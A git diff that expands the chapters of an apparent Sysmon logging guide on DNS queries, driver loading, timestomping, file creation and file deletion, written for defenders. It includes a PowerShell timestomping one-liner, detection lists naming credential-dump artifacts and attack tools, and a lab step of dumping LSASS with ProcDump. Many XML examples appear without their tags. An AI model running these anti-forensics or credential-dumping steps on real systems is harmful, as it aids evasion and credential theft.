+-------------------------------- + +**Windows API Dependency**: Sysmon only logs DNS queries made through the Windows DnsQuery_* API calls in dnsapi.dll. This is supported on Windows 8.1 and above using ETW (Event Tracing for Windows) functionality. + +**What is NOT logged:** +* Programs that perform custom DNS resolution (bypassing Windows APIs) +* Direct queries to DNS servers using raw sockets +* DNS queries from some network security tools +* Queries from applications using alternative DNS libraries + +This means DNS query logging provides good coverage for most Windows applications but is not comprehensive for all DNS activity on a system. + +Volume Characteristics and Configuration Strategy +-------------------------------------------------- + +DNS query volume varies significantly: +* **High-volume environments**: Web browsing, cloud applications, and SaaS usage generate thousands of queries per hour +* **Lower-volume environments**: Servers or systems with limited internet access may have manageable DNS query counts + +**Two configuration approaches:** + +**Approach 1 - Exclusion-Based (Recommended)**: Log all DNS queries but exclude high-volume, known-good domains (Microsoft, Google, CDNs). This provides good visibility while keeping volume manageable. + +**Approach 2 - Targeted Includes**: Only log queries from specific suspicious processes or to specific suspicious domains. This minimizes volume but may miss novel threats. The fields for the event are: @@ -20,10 +73,33 @@ The fields for the event are: * **QueryResults**: Query results * **Image**: File path of the process that made the DNS query -Exclude known destinations in order to focus on new unknown destinations. This is a high-volume event generation filter, so it is recommended to experiment and build rules with filters for your specific environment if implemented. Some examples can be found in - +What to Investigate +-------------------- + +When reviewing DNS query events, prioritize: + +**1. DGA-Like Domains**: Random-looking, algorithmically generated domain names (long strings of consonants, numeric patterns) + +**2. Newly Registered Domains**: Domains registered within the last 30-90 days (cross-reference with threat intelligence) + +**3. Unusual TLDs**: Uncommon top-level domains often abused for C2 (.tk, .pw, .cc, etc.) + +**4. Long DNS Queries**: QueryName exceeding 50-100 characters may indicate DNS tunneling + +**5. High Query Volume to Single Domain**: Many queries to the same domain in short timeframe (potential tunneling or beaconing) + +**6. DNS Queries from Unusual Processes**: System utilities, Office applications, or scripts making DNS queries + +**7. Known Malicious Domains**: Match against threat intelligence feeds + +Configuration Best Practices +----------------------------- + +Exclude known benign, high-volume destinations to focus on unknown or suspicious domains. This is a high-volume event type, so experimentation and environment-specific tuning is essential. + +**Community Resources**: Excellent examples can be found at https://github.com/olafhartong/sysmon-modular/tree/master/22_dns_query -Example that excludes known update and telemetry domains. +Example configuration excluding known update and telemetry domains: ```xml diff --git a/chapters/driver-loading.md b/chapters/driver-loading.md index 241dad0..9ff61eb 100644 --- a/chapters/driver-loading.md +++ b/chapters/driver-loading.md @@ -1,13 +1,86 @@ Driver Loading ============== -Sysmon will log EventID 6 for the loading of drivers. Drivers have been used by attackers for the installation of rootkits or to run tooling that needs to run at the kernel level. Mimikatz is known to use a driver to perform tasks to query and modify the UFI to bypass process protections. +Sysmon will log **EventID 6** for the loading of kernel drivers. Driver loading is a **low-volume, high-value event type** that should typically log all occurrences with minimal filtering. Drivers operate at the kernel level with the highest privileges on a system, making malicious driver loading one of the most dangerous attack techniques. -Sysmon will provide code signing information allowing filtering on those fields. Sysmon can also check if a certificate that signed the driver has been revoked. +Detection Value and Why It Matters +----------------------------------- -A recommended action for this event is to filter on the **Signature** and **SignatureStatus** fields and exclude known drivers. The main reason to filter on both fields is that many of the attacks steal certificates that are later revoked. By confirming that the **SignatureStatus** is valid, we can find easier drivers signed by a vendor who has been forced to revoke that specific signing certificate. +Kernel drivers have unrestricted access to the operating system and can: +* Bypass all user-mode security controls +* Hide processes, files, and registry keys (rootkits) +* Intercept and modify system calls +* Disable security software +* Access protected memory (credential theft) +* Persist across reboots with highest privileges -The process for Signature values should be a constant one. +Attackers use malicious drivers for: + +**Rootkit Installation**: Drivers that hide malware presence by intercepting system APIs and filtering out malicious processes, files, and network connections from being detected. + +**Security Tool Bypass**: Drivers like those used by Mimikatz (mimidrv.sys) to query and modify kernel memory to bypass process protections, read credentials from protected processes like LSASS, or disable security callbacks. + +**Bring Your Own Vulnerable Driver (BYOVD)**: Attackers exploit known-vulnerable but legitimately signed drivers to gain kernel-level code execution. These vulnerable drivers are catalogued at **https://www.loldrivers.io/**, which maintains a comprehensive list of drivers known to be exploitable. The LOLDrivers project provides a ready-to-use Sysmon configuration for detecting these vulnerable drivers: **https://github.com/magicsword-io/LOLDrivers/tree/main/detections/sysmon** + +**Privilege Escalation**: Exploiting vulnerable signed drivers to escalate from user-mode to kernel-mode execution. + +**Persistence**: Drivers load early in the boot process, before most security tools, providing attackers with early system control. + +**MITRE ATT&CK Mapping**: Driver loading events help detect: +* **T1014 - Rootkit**: Kernel-mode rootkits hiding attacker presence +* **T1068 - Exploitation for Privilege Escalation**: Exploiting vulnerable drivers (BYOVD) +* **T1543.003 - Create or Modify System Process: Windows Service**: Driver-based services +* **T1562 - Impair Defenses**: Drivers that disable security tools +* **T1611 - Escape to Host**: Breaking out of virtualization using drivers + +Why Driver Loading is Low-Volume +--------------------------------- + +Unlike process creation or file creation, driver loading happens infrequently: +* Drivers load primarily at boot time +* New driver installation is rare (hardware additions, software updates) +* Typical system generates only 10-50 driver load events per day +* Most are well-known, signed Windows or hardware vendor drivers + +This low volume makes driver loading ideal for a **log-all approach**. The small event count allows you to review all driver loads and progressively exclude known-good drivers without overwhelming your SIEM. + +Configuration Strategy: Log All, Exclude Known-Good +---------------------------------------------------- + +The recommended approach for driver loading: + +1. **Start by logging everything** - No initial exclusions +2. **Baseline for 1-2 weeks** - Collect all driver loads in your environment +3. **Identify legitimate drivers** - Review unique driver signatures and validate they are expected +4. **Integrate LOLDrivers detection** - Add the LOLDrivers Sysmon configuration to detect known-vulnerable drivers +5. **Progressively exclude** - Add exclusions for verified, signed drivers from trusted vendors +6. **Continuous monitoring** - Review any new drivers that appear + +**Critical**: Always filter on **both Signature AND SignatureStatus**. Many attacks use stolen code-signing certificates that are later revoked. Checking that SignatureStatus is "Valid" helps detect: +* Drivers signed with stolen certificates before revocation +* Drivers signed with certificates that have since been revoked +* Legitimate vendors forced to revoke certificates due to abuse + +Certificate Revocation Checking +-------------------------------- + +Enable certificate revocation checking in your Sysmon configuration using ``. This tells Sysmon to verify that signing certificates have not been revoked. While this adds a small performance overhead (network lookup to check revocation status), it provides critical security value for detecting abuse of stolen certificates. + +Leveraging LOLDrivers Project +------------------------------ + +The LOLDrivers project (https://www.loldrivers.io/) is an invaluable resource for detecting BYOVD attacks. The project maintains: +* A curated list of vulnerable drivers known to be exploited by attackers +* Driver hashes, signatures, and metadata +* A ready-to-use Sysmon configuration that detects loading of these vulnerable drivers + +**To integrate LOLDrivers detection:** +1. Download the Sysmon configuration from: https://github.com/magicsword-io/LOLDrivers/tree/main/detections/sysmon +2. Merge it with your existing driver loading configuration +3. The configuration uses driver hashes to detect known-vulnerable drivers regardless of how they are signed +4. Regularly update the configuration as new vulnerable drivers are discovered + +This is particularly valuable because vulnerable but signed drivers are difficult to detect through signature validation alone - they are legitimately signed by vendors but contain exploitable vulnerabilities. ![process](./media/image48.png) @@ -54,8 +127,50 @@ The event fields are: * **SignatureStatus**: Status of the signature -Example filtering out drivers signed by Microsoft, Intel and VMware for -a VDI environment +What to Investigate +-------------------- + +When reviewing driver loading events, prioritize: + +**1. Unsigned Drivers** +* Any driver that is not signed should be investigated immediately +* Legitimate drivers from major vendors are always signed +* Unsigned drivers are strong indicators of malicious activity + +**2. Drivers with Invalid Signatures** +* SignatureStatus not equal to "Valid" +* May indicate stolen/revoked certificates or tampered drivers +* Cross-reference with LOLDrivers database + +**3. Drivers from Unusual Vendors** +* Drivers signed by unknown or suspicious vendors +* Particularly suspicious if loaded on servers or systems that don't match the hardware +* Example: Gaming peripheral drivers on a server + +**4. Known-Vulnerable Drivers** +* Drivers matching hashes in the LOLDrivers database +* Even if properly signed, these are exploitable +* Common in BYOVD attacks + +**5. Drivers Loaded from Unusual Locations** +* Drivers outside of `C:\Windows\System32\drivers\` +* Drivers from temp directories or user folders +* Drivers on removable media + +**6. Mimikatz and Tool-Specific Drivers** +* mimidrv.sys (Mimikatz driver) +* Other known attack tool drivers +* Monitor for these by name and hash + +**7. Recent Driver Installations** +* Any new driver that appears after your baseline period +* Investigate the timing - did it coincide with other suspicious activity? +* Validate business justification for new driver + +Example Configuration: Filtering Known-Good Drivers +---------------------------------------------------- + +After baselining, exclude verified signed drivers from trusted vendors (example for a VDI environment): ```xml diff --git a/chapters/file-create-time-change.md b/chapters/file-create-time-change.md index 4733009..d68c1b1 100644 --- a/chapters/file-create-time-change.md +++ b/chapters/file-create-time-change.md @@ -1,56 +1,336 @@ File Create Time Change ======================= -**EventID 2** is for the technique that modifies the timestamps of a file (the modify, access, create, and change times). This is done often to mimic files that are in the same folder to hide dropped files or accessed files to prevent casual detection. Some applications modify timestamps in their normal operation. A good practice is to exclude those applications that normally change file creation times like setup executables, Chrome, OneDrive, and others. As a minimum, the Users directory should be monitored. +Sysmon will log **EventID 2** when a file's creation timestamp is modified, a technique commonly called "timestomping." This is a **low-volume, high-value event type** that detects anti-forensics activity where attackers modify file timestamps to hide malicious files by making them appear legitimate or to blend in with existing files in a directory. -The fields for the event: +Detection Value and Why It Matters +----------------------------------- -* RuleName: Name of rule that triggered the event +Timestomping is a classic anti-forensics technique used to evade detection and complicate incident response: -* UtcTime: Time in UTC when the event was created +**Hiding Malicious Files**: Attackers modify file timestamps to make malicious files appear legitimate: +* Setting creation time to match other files in `C:\Windows\System32\` to blend in +* Backdating files to make them appear as part of the original system installation +* Matching timestamps of legitimate applications to avoid suspicion -* ProcessGuid: Process GUID of the process that changed the file creation time +**Evading Timeline Analysis**: Forensic investigators rely on file timestamps to construct attack timelines. Timestomping disrupts this analysis by: +* Making recently created malware appear old +* Hiding the true time of file creation or modification +* Breaking the correlation between related attacker activities -* ProcessId: Process ID used by the OS to identify the process changing the file creation time +**Persistence Mechanism Concealment**: Attackers timestamp persistence mechanisms (scheduled tasks, startup folder items, registry run keys) to appear as if they've existed for a long time, making them less likely to be noticed during security reviews. -* Image: File path of the process that changed the file creation time +**MITRE ATT&CK Mapping**: +* **T1070.006 - Indicator Removal on Host: Timestomp** - Primary technique +* **T1564 - Hide Artifacts** - General technique category for hiding evidence -* TargetFilename: Full path name of the file +Why Attackers Use Timestomping +------------------------------- -* CreationUtcTime: New creation time of the file +Timestomping helps attackers in several ways: -* PreviousCreationUtcTime: Previous creation time of the file +1. **Evades "Recent Files" Detection**: Security tools and analysts often filter for recently created/modified files. Timestomped files won't appear in these searches. +2. **Blends with Legitimate Files**: When all files in `C:\Windows\System32\` were created during Windows installation except one created yesterday, that one file stands out. Timestomping eliminates this tell. -Example: +3. **Complicates Forensics**: Without accurate timestamps, investigators struggle to: + - Determine when compromise occurred + - Correlate file creation with other events + - Establish attacker dwell time + +4. **Defeats SIEM Time-Based Queries**: Many detection rules look for file creation within specific time windows. Timestomping can evade these. + +Volume Characteristics +----------------------- + +File creation time modification is rare in normal operations: +* **Normal operations**: Some applications legitimately modify timestamps (installers, cloud sync tools like OneDrive, backup software) +* **Typical volume**: 10-50 events per day, mostly from known applications +* **Servers**: Near-zero volume outside of software installations + +This low volume makes timestomping detection ideal for a **targeted include approach** focusing on user directories and suspicious file types, or an **exclusion-based approach** that logs everything except known-good applications. + +How Timestomping Works +----------------------- + +Attackers use various tools and methods to modify file timestamps: + +**PowerShell**: +```powershell +$(Get-Item malware.exe).creationtime=$(Get-Date "01/01/2020 12:00 am") +``` + +**Command Line Tools**: +* `timestomp.exe` (from Metasploit) +* `NewFileTime.exe` +* Custom scripts and tools + +**Windows API**: +* `SetFileTime()` API calls from custom malware +* Can modify creation, modification, and access times + +Sysmon monitors file system API calls and detects when the creation time is changed from its original value. + +What to Investigate +-------------------- + +When reviewing file creation time change events, prioritize investigation of: + +**1. Timestomping in System Directories** +* Files in `C:\Windows\`, `C:\Windows\System32\`, or `C:\Windows\SysWOW64\` +* Particularly suspicious if done by non-system processes +* System files should rarely have timestamps modified post-installation + +**2. Timestomping in User Directories** +* Files in `C:\Users\\AppData\` directories +* Downloads folder (`C:\Users\\Downloads\`) +* Startup folders and other persistence locations +* Desktop and Documents folders + +**3. Executable and Script Files** +* `.exe`, `.dll`, `.sys` files being timestomped +* PowerShell scripts (`.ps1`, `.psm1`) +* Batch files, VBScript, JavaScript +* Any file that can execute code + +**4. Suspicious Processes Performing Timestomping** +* PowerShell, CMD, or scripting engines modifying timestamps +* Processes from temp directories +* Unknown or recently created processes +* Tools known for timestomping (`timestomp.exe`, `NewFileTime.exe`) + +**5. Multiple Files Timestomped Simultaneously** +* Batch timestomping operations (attacker cleaning up multiple files) +* All files set to same timestamp (common attacker pattern) +* Rapid sequence of timestamp modifications + +**6. Timing and Context** +* Timestomping shortly after file creation (covering tracks) +* Correlates with other suspicious activity (malware execution, lateral movement) +* Occurs during off-hours or after compromise indicators + +**7. Timestamp Anomalies** +* CreationTime set to far in the past (e.g., 1999, Windows XP era) +* CreationTime set to match Windows installation date +* Identical timestamps across multiple unrelated files + +Event Fields +------------ + +The file creation time change event fields are: + +* **RuleName**: Name of rule that triggered the event +* **UtcTime**: Time in UTC when the timestamp modification was detected +* **ProcessGuid**: Process GUID of the process that changed the file creation time +* **ProcessId**: Process ID of the process changing the file creation time +* **Image**: File path of the process that changed the file creation time +* **TargetFilename**: Full path of the file whose timestamp was modified +* **CreationUtcTime**: New (modified) creation time of the file +* **PreviousCreationUtcTime**: Original creation time before modification + +The **PreviousCreationUtcTime** and **CreationUtcTime** fields are critical - compare them to understand how the timestamp was changed and whether it's suspicious. + +Configuration Examples +----------------------- + +**Example 1: Monitor User Directories (Recommended)** + +Focus on timestomping in user directories where attackers commonly operate: ```xml - + - + + C:\Users\ + + + + +``` + +**Example 2: Monitor High-Value File Types and Locations** + +Target specific file types and system directories: + +```xml + + + + + + C:\Users\ + + + C:\Windows\System32\ + C:\Windows\SysWOW64\ + + - C:\Users + .exe + .dll + .sys + .ps1 + .bat + .cmd + .vbs + + +``` + +**Example 3: Exclusion-Based Approach (Log All, Exclude Known-Good)** - +Log all timestamp modifications but exclude applications that legitimately change timestamps: + +```xml + + + + + + C:\ + + + + - - - OneDrive.exe - C:\Windows\system32\backgroundTaskHost.exe - setup - install - Update\ - redist.exe - msiexec.exe - TrustedInstaller.exe - + + OneDrive.exe + Dropbox\ + Google Drive\ + + + setup + install + Update\ + redist.exe + C:\Windows\System32\msiexec.exe + C:\Windows\servicing\TrustedInstaller.exe + + + C:\Windows\System32\backgroundTaskHost.exe + C:\Windows\System32\svchost.exe + + + + + + + +``` + +**Example 4: Detect Suspicious Processes Doing Timestomping** + +Focus on processes commonly used by attackers: + +```xml + + + + + + powershell.exe + pwsh.exe + + + cmd.exe + cscript.exe + wscript.exe + + + timestomp + NewFileTime + + + \Temp\ + \AppData\Local\Temp\ + \Downloads\ ``` + +Investigation Workflow +----------------------- + +When you detect a file creation time change event: + +1. **Identify the File**: Check `TargetFilename` - what file was timestomped? + - Is it an executable, script, or DLL? + - Is it in a sensitive location (System32, user startup folders)? + +2. **Analyze the Process**: Check `Image` - what process modified the timestamp? + - Is it a known-good application (installer, cloud sync)? + - Is it suspicious (PowerShell, unknown tool)? + +3. **Compare Timestamps**: + - `PreviousCreationUtcTime`: When was the file actually created? + - `CreationUtcTime`: What timestamp was it changed to? + - Is the new timestamp trying to make the file look old? + +4. **Correlate with Other Events**: + - Check Process Creation events: Was the file recently created? + - Check File Creation events: What process created the file originally? + - Check Network Connections: Did the process that created the file connect to external IPs? + +5. **Examine the File**: + - Hash the timestomped file and check threat intelligence + - Analyze the file for malicious indicators + - Check if it's signed and by whom + +6. **Timeline Analysis**: + - When was the file really created (PreviousCreationUtcTime)? + - What else happened around that time? + - Does this correlate with known compromise indicators? + +Common Legitimate Use Cases +---------------------------- + +Not all timestamp modifications are malicious. Legitimate reasons include: + +* **Cloud Sync Tools**: OneDrive, Dropbox, Google Drive modify timestamps to match server-side timestamps +* **Backup/Restore Operations**: Backup tools may restore original timestamps when restoring files +* **Software Installers**: Some installers set specific timestamps on installed files +* **Development Tools**: Version control systems (Git) may restore file timestamps during checkout +* **Archive Extraction**: Extracting ZIP/RAR files often restores original timestamps + +The key is to baseline your environment and understand what's normal for your systems, then investigate deviations. + +Best Practices +--------------- + +1. **Start with User Directories**: Monitoring `C:\Users\` captures most attacker activity while minimizing noise +2. **Baseline Your Environment**: Understand which applications legitimately modify timestamps +3. **Progressive Exclusions**: Start broad, add exclusions for verified legitimate applications +4. **Focus on Executables**: Prioritize monitoring of `.exe`, `.dll`, `.ps1` timestomping +5. **Correlate with Other Events**: Timestomping alone may be benign; correlation with other suspicious activity increases confidence +6. **Regular Review**: Periodically review timestomping events to identify new patterns or threats + +Evasion and Limitations +------------------------ + +**Attacker Evasion Techniques:** +* Some attackers avoid timestomping entirely, knowing it's monitored +* Can set timestamps to random values throughout a time range to appear less suspicious +* May use kernel-mode rootkits to hide timestomping from Sysmon + +**Sysmon Limitations:** +* Only detects modification of creation time, not modification or access times (Windows doesn't log those separately) +* Cannot detect timestomping that occurs before Sysmon is installed +* Kernel-mode tampering may evade detection + +Summary +------- + +File creation time change monitoring (EventID 2) detects a common anti-forensics technique used by sophisticated attackers. The low event volume and high detection value make it ideal for: +* Targeted monitoring of user directories +* Detecting timestomping of executable files +* Identifying anti-forensics activity during incident response +* Complementing other detection mechanisms in a layered defense strategy + +When configured properly with appropriate exclusions for legitimate applications, timestomping detection provides high-fidelity alerts with minimal false positives. diff --git a/chapters/file-create.md b/chapters/file-create.md index 432e105..4595756 100644 --- a/chapters/file-create.md +++ b/chapters/file-create.md @@ -1,15 +1,84 @@ File Create =========== -Via its filter driver, Sysmon can log the creation of files and information on what process is creating the file using **EventID 11**. This allows defenders to filter for: +Via its filter driver, Sysmon can log the creation of files and information on what process created the file using **EventID 11**. File creation monitoring provides valuable detection capabilities for malware delivery, persistence mechanisms, and attacker tool staging. However, this is a high-volume event type that requires careful configuration to balance detection value with system performance and storage costs. -* Dropping of files for later execution (PowerShell, Office Apps, certutil.exe) +Detection Value and Use Cases +------------------------------ -* Modification of system configurations (Scheduled Tasks, WMI) +File creation monitoring provides visibility into several critical attack phases: -* Detection of malicious behaviors that create temporary or log files (.Net compile and run, DotNet2JS) +**Initial Access and Delivery**: Attackers must write malicious files to disk. File creation events help detect: +* Weaponized documents dropped by email clients or browsers +* Malware payloads downloaded from the internet +* Exploitation frameworks writing files to disk +* Drive-by download artifacts -Since AV minifilters load before Sysmon (due to their lower altitude number range), if an AV or EDR minifilter driver detects a malicious file and blocks it writing to disk, Sysmon will not log the event. +**Execution and Staging**: Before executing payloads, attackers often stage files. Monitoring detects: +* Script files (.ps1, .vbs, .js, .bat) created by Office applications (malicious macros) +* Executable files dropped into temporary directories +* Tools downloaded for later execution (Mimikatz, PsExec, etc.) +* Compilation artifacts from .NET execution (DotNetToJS technique) + +**Persistence Mechanisms**: Many persistence techniques involve file creation: +* Startup folder files for automatic execution +* Scheduled task XML files +* WMI MOF files for WMI persistence +* DLL files placed for DLL hijacking + +**Defense Evasion**: Attackers create files to evade detection: +* Log file deletion and recreation (clearing evidence) +* Configuration files for malware +* Staging areas in unusual locations + +**Credential Access**: Some credential theft creates files: +* LSASS dump files (created by ProcDump, Task Manager, Mimikatz) +* SAM/SYSTEM/SECURITY hive exports +* NTDS.dit copies from domain controllers + +**MITRE ATT&CK Mapping**: File creation events help detect: +* **T1105 - Ingress Tool Transfer**: Downloading additional attack tools +* **T1059 - Command and Scripting Interpreter**: Script file creation for execution +* **T1053 - Scheduled Task/Job**: Task XML file creation +* **T1036 - Masquerading**: Files with misleading names or extensions +* **T1003 - OS Credential Dumping**: LSASS dump file creation +* **T1027 - Obfuscated Files or Information**: Encoded/encrypted file staging +* **T1204 - User Execution**: Malicious files delivered for user interaction + +Understanding Minifilter Loading Order +--------------------------------------- + +An important technical detail: **Sysmon cannot log files that are blocked before they are written to disk.** + +Antivirus and EDR products use minifilter drivers that load at lower altitude numbers than Sysmon (meaning they process I/O operations first). If an AV/EDR minifilter detects a malicious file and blocks it from being written, Sysmon never sees the file creation and cannot log it. + +This means Sysmon file creation events are most valuable for detecting: +* Files that bypass AV/EDR detection (zero-days, obfuscated payloads) +* Living-off-the-land techniques using legitimate tools +* Files created in locations AV might not monitor as aggressively +* Post-exploitation activity after initial compromise + +Volume Challenges and Configuration Strategy +--------------------------------------------- + +File creation is a **high-volume event type**. Modern Windows systems create thousands of files per hour through normal operation: +* Application updates and installations +* Temporary files for application processing +* Log files and cache files +* Browser downloads and cached data +* Windows system maintenance and updates +* User document saves and modifications + +**Two main configuration approaches:** + +**Approach 1 - Targeted Includes (Recommended for Most)** +Monitor only specific file types, locations, or processes known to indicate malicious activity. This is the most practical approach for most environments. + +**Approach 2 - Exclusion-Based with Aggressive Filtering** +Log most file creation but exclude high-volume benign locations. This requires significant SIEM capacity and careful baseline analysis. Only suitable for organizations with extensive SIEM infrastructure. + +**Hybrid Approach** +Combine both: include specific suspicious file types while excluding specific high-volume benign locations. ![minifilter](./media/image36.png) @@ -29,7 +98,37 @@ The file creation event fields are: * **CreationUtcTime**: File creation time -Example monitoring for script file creation by extension: +High-Value File Types and Locations to Monitor +------------------------------------------------ + +**Suspicious File Extensions** (commonly created by attacks): +* **Scripts**: .ps1, .vbs, .js, .jse, .bat, .cmd, .hta - Script files for execution +* **Macros**: .docm, .xlsm, .pptm - Office documents with macros +* **Executables**: .exe, .dll, .sys in unusual locations +* **Scheduled Tasks**: .xml in `C:\Windows\System32\Tasks\` or `C:\Windows\Tasks\` +* **Build Files**: .proj, .sln - MSBuild project files (T1127) +* **ClickOnce**: .application, .appref-ms - ClickOnce deployment files +* **Registry**: .reg - Registry import files +* **Dump Files**: .dmp, .mdmp - Memory dump files (LSASS dumps) +* **Archives**: .zip, .rar, .7z in temp directories (staging/exfiltration) + +**Suspicious File Locations** (where attackers commonly stage files): +* **Temp Directories**: `C:\Windows\Temp\`, `C:\Users\*\AppData\Local\Temp\` +* **Public Directories**: `C:\Users\Public\`, `C:\ProgramData\` +* **Startup Folders**: `C:\Users\*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\` +* **Recycle Bin**: Unusual file creation in recycle bin directories +* **Root Directories**: `C:\`, `C:\Windows\`, `C:\Program Files\` (unusual for normal apps) + +**Suspicious File Creation Patterns**: +* Office applications creating script files (malicious macro execution) +* Browsers creating executables (drive-by downloads) +* System utilities (certutil.exe, bitsadmin.exe) creating files +* Processes creating files in startup folders or scheduled task directories + +Configuration Examples +----------------------- + +**Example 1: Targeted Includes for Script Files and Execution Artifacts** ```XML @@ -94,3 +193,168 @@ Example monitoring for script file creation by extension: ``` + +**Example 2: Credential Dumping File Creation** + +Monitor for memory dump files and credential theft artifacts: + +```xml + + + .dmp + .mdmp + + + sam.save + system.save + security.save + + + ntds.dit + +``` + +**Example 3: Executables in Suspicious Locations** + +```xml + + + + \Temp\ + .exe + + + + + C:\Users\Public\ + .exe + + + + + \AppData\ + .dll + + +``` + +**Example 4: Persistence Artifact Detection** + +```xml + + + \Start Menu\Programs\Startup\ + + + C:\Windows\System32\Tasks\ + C:\Windows\Tasks\ + +``` + +Common Exclusions for Exclusion-Based Approach +----------------------------------------------- + +If using an exclusion-based strategy (log most, exclude benign high-volume), consider these exclusions. **Use with caution** and validate volume reduction: + +```xml + + + C:\Windows\SoftwareDistribution\ + C:\Windows\WinSxS\ + C:\Windows\Prefetch\ + + + \Google\Chrome\User Data\ + \Mozilla\Firefox\Profiles\ + \Microsoft\Edge\User Data\ + + + \AppData\Local\Microsoft\Windows\WebCache\ + \AppData\Local\Microsoft\Windows\INetCache\ + +``` + +**Warning**: Never completely exclude: +* Executable files (.exe, .dll, .sys) from any location +* Script files (.ps1, .vbs, .bat, .js) from any location +* Scheduled task directories +* Startup folders + +What to Investigate +------------------- + +When reviewing file creation events, prioritize these patterns: + +**1. Office Applications Creating Scripts** +* WINWORD.EXE, EXCEL.EXE, or POWERPNT.EXE creating .ps1, .vbs, .bat, or .js files +* Strong indicator of malicious macro execution +* Cross-reference with process creation events to see if the script was executed + +**2. Browsers Creating Executables** +* chrome.exe, msedge.exe, or firefox.exe creating .exe or .dll files +* May indicate drive-by downloads or malicious file downloads +* Legitimate downloads typically go to Downloads folder with user interaction + +**3. System Utilities Downloading Files** +* certutil.exe, bitsadmin.exe, or powershell.exe creating files (especially .exe) +* Common living-off-the-land technique for downloading attack tools + +**4. Memory Dump File Creation** +* Any .dmp or .mdmp file creation, especially if not from legitimate debugging tools +* Check source process - is it ProcDump, Task Manager, or an unknown tool? +* Check file location - LSASS dumps in temp directories are highly suspicious + +**5. Files in Startup or Scheduled Task Directories** +* Any file creation in startup folders or task directories +* Cross-reference with registry events for persistence detection +* Validate legitimacy of the creating process + +**6. Executable Files in Uncommon Locations** +* .exe or .dll files in temp directories, ProgramData, or user profile directories +* Legitimate software installs to Program Files or ProgramData with installers +* Malware often stages in temp or user directories + +**7. Archives in Temp Directories** +* .zip, .rar, or .7z files created in temp locations +* May indicate data staging for exfiltration +* Large files or multiple archives in sequence are particularly suspicious + +**8. Unusual Process Creating Files** +* Processes running from temp directories creating files +* System processes creating files in unusual locations +* Unsigned processes creating executables or scripts + +Performance Considerations +--------------------------- + +File creation monitoring can impact performance if misconfigured: + +**Volume Management**: +* Targeted includes: Expect 100-1000 events/day/host +* Exclusion-based with aggressive filtering: May see 5000-10000 events/day/host +* Test configurations in lab before production deployment + +**Performance Tips**: +* Avoid monitoring entire drives or broad wildcards +* Prefer specific file extensions and paths over broad patterns +* Consider disabling file creation monitoring on extremely high-I/O servers (databases, file servers) +* Use "end with" for extensions rather than "contains" when possible + +**Typical Well-Configured Volume**: +* Workstations: 50-200 events/day +* Servers: 100-500 events/day +* Domain Controllers: 200-1000 events/day (higher due to replication) + +Testing and Validation +----------------------- + +Validate your file creation monitoring: + +1. **Macro Test**: Create a test Excel file with macro that writes a .ps1 file +2. **Download Test**: Download a test executable via browser +3. **Credential Dump Simulation**: Use ProcDump on LSASS in lab to verify .dmp detection +4. **Persistence Test**: Create a file in startup folder +5. **Volume Baseline**: Monitor event volume for 1-2 weeks to establish normal patterns +6. **Performance Check**: Verify Sysmon is not consuming excessive CPU or I/O + +File creation monitoring, when properly configured with targeted includes for high-value file types and locations, provides critical visibility into malware staging, persistence establishment, and credential theft. The key is balancing comprehensive coverage with manageable event volume through thoughtful selection of monitored file types and locations. diff --git a/chapters/file-delete.md b/chapters/file-delete.md index d238b24..46efc9e 100644 --- a/chapters/file-delete.md +++ b/chapters/file-delete.md @@ -1,31 +1,93 @@ File Delete =========== -On version 11.0 of Sysmon the capability to log file deletions was added, in addition file marked for deletion are archived allowing defentders to collect tools and other files an attacker creates on a system to better track and understand their activiries. Sysmon relies on its filter driver, Sysmon can log the creation of files and information on what process is deleting or overwriting the file using **EventID 23**. Defender can use this event type to filter for: +Sysmon will log **EventID 23** for file deletions, providing critical visibility into file destruction activity. This event type not only logs deletions but also archives the deleted files, allowing defenders to recover and analyze tools, malware, and other artifacts that attackers create and then delete. This is a **moderate-to-high volume event type** that requires careful filtering to capture high-value deletions while avoiding noise from normal system operations. -* Dropper / stager that removes itself after execution (T1193 or T1064 and loads more) or attackers doing it manually +Detection Value and Why It Matters +----------------------------------- -* Wiper software (T1485 and T1488) +File deletion monitoring detects critical attack patterns that other event types cannot capture: -* Ransomware (T1486) +**Ransomware Detection**: Ransomware typically follows this pattern: +1. Create encrypted copy of original file +2. Delete the original unencrypted file +3. Repeat across thousands of files rapidly + +Monitoring file deletions reveals this pattern before significant damage occurs. High volumes of file deletions in user directories within short time windows is one of the strongest ransomware indicators. + +**Wiper Malware**: Destructive attacks that permanently delete files and system components to cause damage and cover tracks. File deletion events help detect wiper software used by nation-state actors and destructive attackers. + +**Anti-Forensics**: Attackers delete tools, scripts, and other artifacts after use to remove evidence: +* Deleting droppers/stagers after payload execution +* Removing tools after completing objectives +* Cleaning up temporary files and scripts +* Deleting log files to hide activity + +**Data Destruction**: Intentional deletion of backup files, database files, or critical system files as part of an attack. + +**MITRE ATT&CK Mapping**: +* **T1485 - Data Destruction** - Wiper malware and destructive attacks +* **T1486 - Data Encrypted for Impact** - Ransomware encryption +* **T1488 - Disk Structure Wipe** - Destructive wiping attacks +* **T1070.004 - Indicator Removal on Host: File Deletion** - Anti-forensics +* **T1490 - Inhibit System Recovery** - Deleting backups and shadow copies + +Volume Characteristics and Filtering Strategy +---------------------------------------------- + +File deletion volume varies dramatically by use case: +* **Unfiltered volume**: Extremely high - thousands to tens of thousands of events per day +* **Normal operations**: Applications, Windows Updates, browsers, and temp file cleanup generate constant deletion activity +* **Filtered volume**: Can be reduced to 100-500 high-value events per day with proper filtering + +**Critical Consideration**: The event includes file archiving by default. This means deleted files are copied to the Sysmon archive directory before deletion. This provides immense forensic value but has storage implications: +* Archived files consume disk space in the archive directory +* High-volume deletions can fill disk space quickly +* You must monitor archive directory size and implement retention policies +* Consider using EventID 26 (File Delete Detected, without archiving) for high-volume, low-value deletions + +**Recommended Filtering Approach**: Target specific file types and locations that matter for security: +* Executable files (.exe, .dll, .sys) in suspicious locations +* Script files (.ps1, .bat, .vbs, .js) anywhere +* Office documents with macros (.docm, .xlsm) +* Archive files (.zip, .rar, .7z) from temp directories +* Database and backup files +* Multiple deletions in rapid succession (SIEM-side detection) + +How Sysmon Monitors File Deletions +----------------------------------- + +Sysmon uses a minifilter driver to monitor file system activity. The minifilter monitors three I/O request packets (IRP): +* **IRP_MJ_CREATE** - File creation +* **IRP_MJ_CLEANUP** - Handle closure +* **IRP_MJ_WRITE** - File writes + +When a file is marked for deletion, Sysmon intercepts this event and can archive the file before it's permanently removed. ![minifilter](./media/image36.png) -The minidriver monitors for three I/O request packets (IRP) IRP_MJ_CREATE, IRP_MJ_CLEANUP, and IRP_MJ_WRITE for file creates, complete handle closes, and writes respectively. +**Important 